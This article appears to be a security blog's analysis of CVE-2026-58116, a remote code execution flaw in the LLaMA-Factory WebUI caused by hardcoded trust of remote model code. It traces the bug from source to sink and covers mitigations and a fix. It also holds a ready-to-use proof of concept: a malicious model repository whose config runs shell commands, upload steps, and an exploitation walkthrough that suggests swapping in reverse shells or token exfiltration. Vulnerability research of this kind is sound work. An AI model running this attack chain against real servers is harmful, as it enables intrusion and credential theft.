Trust No Model: CVE-2026-58116 — Remote Code Execution in LLaMA-Factory's WebUI via a Hardcoded `trust_remote_code`
On June 30, 2026, NIST’s National Vulnerability Database published CVE-2026-58116, a critical remote code execution vulnerability in LLaMA-Factory, the open-source LLM fine-tuning framework that has quietly become a piece of critical infrastructure for the AI industry. With over 73,000 GitHub stars and a who’s-who of adopters — Amazon, NVIDIA, and Aliyun all ship or document it — LLaMA-Factory is the tool countless teams reach for when they need to adapt a foundation model to their own data. It carries a CVSS 3.1 score as high as 9.8 Critical (VulnCheck’s secondary assessment; NVD’s own primary analyst rates it 8.8 High — the nuance matters and we unpack it below).
The bug is simultaneously very modern and very old-fashioned. The modern part: it rides the Hugging Face transformers ecosystem, where “loading a model” can mean downloading and executing arbitrary Python. The old-fashioned part: a developer hardcoded trust_remote_code=True into a user-facing input path with no way to turn it off. A single text field in the WebUI — the “Model path” box — flows straight into AutoTokenizer.from_pretrained() and AutoModel.from_pretrained(), and the surrounding code has already promised the library “yes, run whatever code this repo contains.” There is no allowlist, no checkbox, no environment toggle. An attacker who can reach the WebUI types a malicious Hugging Face repository ID, clicks Load Model, and the server executes their code.
If that family of mistake sounds familiar, it is because it is the supply-chain cousin of the logic bugs we keep writing about. In our article on Traefik’s StripPrefix authentication bypass, the damage came from a gap between two assumptions about the same value. Here the gap is between two assumptions about trust: the framework assumes “model repos are safe to execute,” and the application assumes “the person typing a repo ID is allowed to make that decision for everyone.”
Vulnerability Classification
| Field | Value |
|---|---|
| CVE ID | CVE-2026-58116 |
| CVSS 3.1 (NVD, Primary) | 8.8 — High (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| CVSS 3.1 (Secondary) | 9.8 — Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CVSS 4.0 (VulnCheck) | 9.3 — Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) |
| CWE | CWE-94 — Improper Control of Generation of Code (Code Injection) |
| Related CWE | CWE-829 — Inclusion of Functionality from Untrusted Control Sphere |
| Affected Software | LLaMA-Factory |
| Affected Versions | <= v0.9.5 (Chat and Training interfaces) |
| Patched Version | None at time of disclosure (v0.9.5 still vulnerable) |
| Vulnerable Files | src/llamafactory/webui/chatter.py, src/llamafactory/webui/runner.py |
| CVE Published | June 30, 2026 |
| Researcher | h3nrrrych4u (Henry Chau) |
A note on the two CVSS 3.1 scores. The NVD Primary entry grades this 8.8 with PR:L (low privileges required) — reflecting that the WebUI is a UI someone must use. The Secondary analysis from VulnCheck scores it 9.8 with PR:N, because LLaMA-Factory’s Gradio WebUI ships with no authentication by default. When an operator exposes the board with --share or binds it to 0.0.0.0 — a routine step for teams who want to drive training from a laptop while the GPU box sits in a rack — the “low privilege” bar collapses to “can reach port 7860.” In that deployment, which is the common one, this is unauthenticated network RCE. Both readings exceed 7; treat it as critical.
Background: LLaMA-Factory and the trust_remote_code Footgun
What LLaMA-Factory is
LLaMA-Factory is a unified framework for fine-tuning, evaluating, and serving large language models. Its headline feature is zero-code: a researcher can adapt any of 100+ supported models (Llama, Qwen, Mistral, DeepSeek, ChatGLM, and more) through supervised fine-tuning, DPO, PPO, KTO, ORPO, and reward modeling — all without writing a training script. It exposes two surfaces:
- A CLI (
llamafactory-cli) for scripted pipelines, and - LlamaBoard, a Gradio-powered Web UI launched with
llamafactory-cli webui, which presents point-and-click controls for dataset selection, hyperparameters, chat, and training.
LlamaBoard is where CVE-2026-58116 lives. It is the surface non-developers reach for — exactly the audience least likely to second-guess a “Model path” input.
The Hugging Face trust_remote_code mechanism
To understand the bug, you have to understand what “loading a model” actually does in the transformers library. A modern model on the Hugging Face Hub is not just a pile of weights; it can also ship custom Python code. A repo’s config.json may declare an auto_map:
{
"model_type": "poc_model",
"auto_map": {
"AutoConfig": "configuration_poc.PoCConfig",
"AutoModel": "modeling_poc.PoCModel"
}
}
This tells transformers: to instantiate this model, download modeling_poc.py from the repo and execute it. That is genuinely useful — it is how brand-new architectures ship before they land in the library proper. But it is also a complete remote-code-execution primitive dressed up as a configuration field.
Because this is dangerous, transformers gates it behind an explicit, opt-in flag: trust_remote_code=True. Every loading call (AutoTokenizer.from_pretrained, AutoModel.from_pretrained, AutoConfig.from_pretrained) accepts it, and without it the library refuses to run repo-supplied code. The security contract is simple: the caller decides who to trust.
CVE-2026-58116 exists because LLaMA-Factory’s WebUI answered that question once, for everyone, with an unconditional True.
A known risk class
This is not a theoretical concern. Hugging Face itself has warned about malicious model artifacts, and trust_remote_code execution has been a documented attack vector for years. What makes CVE-2026-58116 notable is the scale of the blast radius: one hardcoded flag, in one of the most popular fine-tuning tools on Earth, reachable through a GUI text box with no authentication by default.
The Core Flaw: Hardcoded Trust, Unvalidated Sink
Let us trace the tainted data from the input field to the code that executes it. There are two parallel paths — the Chat interface (chatter.py) and the Training interface (runner.py). Both share the identical defect.
Source: the “Model path” field
In the Chat path, the user-supplied model identifier is read straight from the Gradio component state:
# src/llamafactory/webui/chatter.py
def load_model(self, data) -> Generator[str, None, None]:
get = lambda elem_id: data[self.manager.get_elem_by_id(elem_id)]
lang, model_name, model_path = get("top.lang"), get("top.model_name"), get("top.model_path")
...
model_path is now tainted — fully attacker-controlled. It can be a Hugging Face repo ID (attacker/evil-model), a URL, or a local directory.
Propagation: the args dictionary
That tainted value is packed into an args dict, and right next to it sits the hardcoded trust flag — line 139:
# src/llamafactory/webui/chatter.py (lines 128-141)
args = dict(
model_name_or_path=model_path, # <-- tainted, attacker-controlled
cache_dir=user_config.get("cache_dir", None),
finetuning_type=finetuning_type,
template=get("top.template"),
rope_scaling=get("top.rope_scaling") if get("top.rope_scaling") != "none" else None,
flash_attn="fa2" if get("top.booster") == "flashattn2" else "auto",
use_unsloth=(get("top.booster") == "unsloth"),
enable_liger_kernel=(get("top.booster") == "liger_kernel"),
infer_backend=get("infer.infer_backend"),
infer_dtype=get("infer.infer_dtype"),
trust_remote_code=True, # <-- hardcoded, no way to disable
)
args.update(json.loads(get("infer.extra_args")))
The Training path is a carbon copy. In runner.py, trust_remote_code=True appears at line 175 and line 320, inside the same args dicts that set model_name_or_path=get("top.model_path") (at lines 135 and 300). The reporter’s disclosure is emphatic about this: there is no checkbox or config file to turn the feature off. It affects both interfaces unconditionally.
Sink: from_pretrained() with trust_remote_code=True
The args dict flows into ChatModel.__init__, through get_infer_args(), and into the model loader. That loader is where the tainted path meets the trust flag at the execution sink — src/llamafactory/model/loader.py:
# src/llamafactory/model/loader.py
def _get_init_kwargs(model_args: "ModelArguments") -> dict[str, Any]:
skip_check_imports()
model_args.model_name_or_path = try_download_model_from_other_hub(model_args)
return {
"trust_remote_code": model_args.trust_remote_code, # <-- True, from the WebUI
"cache_dir": model_args.cache_dir,
"revision": model_args.model_revision,
"token": model_args.hf_hub_token,
}
def load_tokenizer(model_args: "ModelArguments") -> "TokenizerModule":
init_kwargs = _get_init_kwargs(model_args)
try:
tokenizer = AutoTokenizer.from_pretrained(
model_args.model_name_or_path, # <-- tainted path
use_fast=model_args.use_fast_tokenizer,
split_special_tokens=model_args.split_special_tokens,
padding_side="right",
**init_kwargs, # <-- unpacks trust_remote_code=True
)
...
The same init_kwargs is later unpacked into AutoConfig.from_pretrained() and AutoModel.from_pretrained(). Critically, the tokenizer loads before the model weights, so malicious code in the config/tokenizer classes runs first — the attacker doesn’t even need to ship valid weights.
Here is the full data flow in one diagram:
WebUI "Model path" field ──► model_path (tainted)
│ │
│ chatter.py:139 │ runner.py:175,320
▼ ▼
args = { model_name_or_path=model_path, trust_remote_code=True } ← hardcoded
│
▼ ChatModel.__init__ ──► get_infer_args() ──► ModelArguments
│
▼ loader._get_init_kwargs() ──► init_kwargs = { trust_remote_code: True, ... }
│
┌────┴─────────────────────┐
▼ ▼
AutoTokenizer.from_pretrained( path, **init_kwargs ) ← CODE EXECUTES
AutoModel.from_pretrained( path, **init_kwargs ) ← CODE EXECUTES
Why this is CWE-94 and CWE-829
NVD tags this with two weakness IDs, and both are earned:
- CWE-94 (Code Injection) — the application constructs a code-execution call (
from_pretrainedwithtrust_remote_code) using externally-influenced input (the model path) without sufficient validation. - CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) — the application imports and runs functionality (the repo’s
.pyfiles) from a control sphere (an arbitrary public Hub repo) that it has no reason to trust.
The trust_remote_code flag is supposed to be the control that prevents CWE-829. Hardcoding it to True removes the only guardrail the upstream library provided.
Attack Scenario Walkthrough
Prerequisites
- A reachable LLaMA-Factory WebUI on an affected version (
<= v0.9.5). - The WebUI exposed beyond
localhost— via--share, a0.0.0.0bind, an SSH tunnel left open, or a container port forwarded to the office network. By default Gradio binds to127.0.0.1:7860, but the shared/tunneled deployment is the normal way teams use a remote GPU box. - An attacker who can create a public repository on the Hugging Face Hub (a free account) — or who can drop files into a local directory the server can read.
That is the entire bar. No credentials, no exploit chain, no memory-corruption primitives.
Step 1: Prepare the malicious model repository
A weaponized model is three small files. We build them in a local directory, then push to a throwaway Hugging Face account.
config.json — declares a custom architecture and an auto_map pointing at the attacker’s Python modules:
{
"architectures": ["PoCModel"],
"model_type": "poc_model",
"auto_map": {
"AutoConfig": "configuration_poc.PoCConfig",
"AutoModel": "modeling_poc.PoCModel",
"AutoModelForCausalLM": "modeling_poc.PoCModel"
}
}
configuration_poc.py — the payload. Note that the code runs from inside PoCConfig.__init__, which transformers calls while loading the config — before any weights are needed:
import os
from transformers import PretrainedConfig
class PoCConfig(PretrainedConfig):
model_type = "poc_model"
def __init__(self, **kwargs):
super().__init__(**kwargs)
# [PoC] Replace this with whatever you want the server to run.
print("[PoC Verification]: Executing payload on the server...")
os.system("id; hostname; cat /etc/hostname 2>/dev/null")
modeling_poc.py — a minimal model class so the loader doesn’t choke (it can even be a stub; the config code has already fired):
import torch.nn as nn
from transformers import PretrainedConfig, PreTrainedModel
class PoCModel(PreTrainedModel):
config_class = PoCConfig
def __init__(self, config: PretrainedConfig):
super().__init__(config)
self.layer = nn.Linear(1, 1)
def forward(self, *args, **kwargs):
return self.layer(args[0])
The full, ready-to-run version of these files is in the PoC repository:
Step 2: Publish to the Hugging Face Hub
Create a public repo and upload the three files:
$ pip install -q huggingface_hub
$ huggingface-cli login
# paste a read/write token
$ huggingface-cli upload attacker/llmfcty-poc ./poc-model . --repo-type=model
# (or use the web UI at https://huggingface.co/new-model)
The repo is now resolvable by its ID, e.g. attacker/llmfcty-poc (the namespace/name form the Hub uses).
Step 3: Point LLaMA-Factory at the malicious repo
Open the WebUI (http://<gpu-host>:7860), go to the Chat tab, and in the Model path field type the repo ID:
attacker/llmfcty-poc
Pick any model name and template (they are not validated against the path), then click Load Model.
Step 4: Observe execution
On the GPU server, transformers resolves the repo, downloads configuration_poc.py, and executes PoCConfig.__init__ with the privileges of the LLaMA-Factory process:
$ llamafactory-cli webui
[INFO] Starting LlamaBoard...
Running on local URL: http://0.0.0.0:7860
...
[PoC Verification]: Executing payload on the server...
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser),27(sudo)
gpu-host-01
gpu-host-01
That is full remote code execution. Swap the os.system("id ...") call for a reverse shell, a cryptominer, or an exfiltration script that walks ~/.cache/huggingface for API tokens, and you have a real-world compromise. The Training tab offers an identical path via the Start button, so an attacker doesn’t even need the chat backend to be functional.
Caveat: The malicious repo is public and trivially discoverable on the Hub, so a stealthy operator would host the payload on a private Hub namespace using a leaked token, or place the files in a local path the server already trusts. The mechanism is identical.
Why a Flag Designed for Safety Backfired
It is worth pausing on why a thoughtful codebase ends up with trust_remote_code=True hardcoded. The honest answer is convenience married to a broken threat model.
LLaMA-Factory fine-tunes cutting-edge models that ship custom modeling code on the Hub before support lands in a stable transformers release. Without trust_remote_code=True, loading this month’s hottest new model produces a loud error and a frustrated user. The path of least resistance is to set the flag once, in the WebUI’s shared loader, so that every model “just works.”
That reasoning is locally correct and globally catastrophic. It conflates two different decisions:
- “Is this specific model safe to execute?” — a question about provenance and trust.
- “Should any user who can type a string be allowed to answer question 1 for the server?” — a question about authorization.
By hardcoding the flag, LLaMA-Factory answered “yes” to question 2 on behalf of every operator, without ever asking. The upstream transformers library did its job: it built a gate and a key. The application welded the key into the lock.
Remediation & Mitigation
At the time of writing, no patched release exists — v0.9.5 remains vulnerable. Until a fix ships, defense has to happen at the deployment and process layers.
Immediate mitigations (operators)
| Mitigation | What it does | Limitation |
|---|---|---|
| Never expose the WebUI | Keep Gradio bound to 127.0.0.1; access only over SSH |
Discipline-dependent; one --share undoes it |
| Put it behind auth | Front the board with a reverse proxy + Basic auth / SSO | Doesn’t fix the bug, shrinks the attack surface |
| Restrict egress | Block outbound traffic to huggingface.co / the Hub from the training host |
Breaks legitimate model downloads; allowlist instead |
| Read-only tokens | Never store a write Hub token in ~/.cache/huggingface/token on a shared host |
Stops a compromised host from poisoning your real models |
The correct fix (developers)
The proper remediation is to stop unconditionally trusting remote code:
- Default
trust_remote_codetoFalseand surface it as an explicit, per-model toggle the operator must consciously enable. - Allowlist model paths to known/trusted repos or local directories, rather than accepting arbitrary Hub identifiers.
- Gate on an environment variable as an interim kill-switch, so the default is safe:
# src/llamafactory/webui/chatter.py
import os
...
trust_remote_code = os.getenv("LLAMAFACTORY_TRUST_REMOTE_CODE", "false").lower() == "true"
args = dict(
model_name_or_path=model_path,
...
trust_remote_code=trust_remote_code,
)
The reporter’s advisory recommends exactly this pattern. Until the maintainers ship it, treat any network-reachable LLaMA-Factory board as an unauthenticated RCE endpoint.
SOURCES
NIST National Vulnerability Database — CVE-2026-58116: https://nvd.nist.gov/vuln/detail/CVE-2026-58116
VulnCheck Advisory — LLaMA-Factory 0.9.5 Remote Code Execution via WebUI Model Path: https://www.vulncheck.com/advisories/llama-factory-remote-code-execution-via-webui-model-path
Researcher Disclosure (Henry Chau / h3nrrrych4u) — Source-to-Sink Analysis & PoC: https://gist.github.com/henrrrychau/08d76ec672f42136bbc1449c4f2973f8
CVE.org — CVE-2026-58116: https://www.cve.org/CVERecord?id=CVE-2026-58116
LLaMA-Factory GitHub Repository (v0.9.5): https://github.com/hiyouga/LLaMA-Factory/tree/v0.9.5
Vulnerable source — src/llamafactory/webui/chatter.py: https://github.com/hiyouga/LLaMA-Factory/blob/v0.9.5/src/llamafactory/webui/chatter.py
Vulnerable source — src/llamafactory/webui/runner.py: https://github.com/hiyouga/LLaMA-Factory/blob/v0.9.5/src/llamafactory/webui/runner.py
Model loader sink — src/llamafactory/model/loader.py: https://github.com/hiyouga/LLaMA-Factory/blob/v0.9.5/src/llamafactory/model/loader.py
Hugging Face Hub Documentation — Security: https://huggingface.co/docs/hub/security-pickle
Hugging Face transformers — Loading custom models (trust_remote_code): https://huggingface.co/docs/transformers/custom_models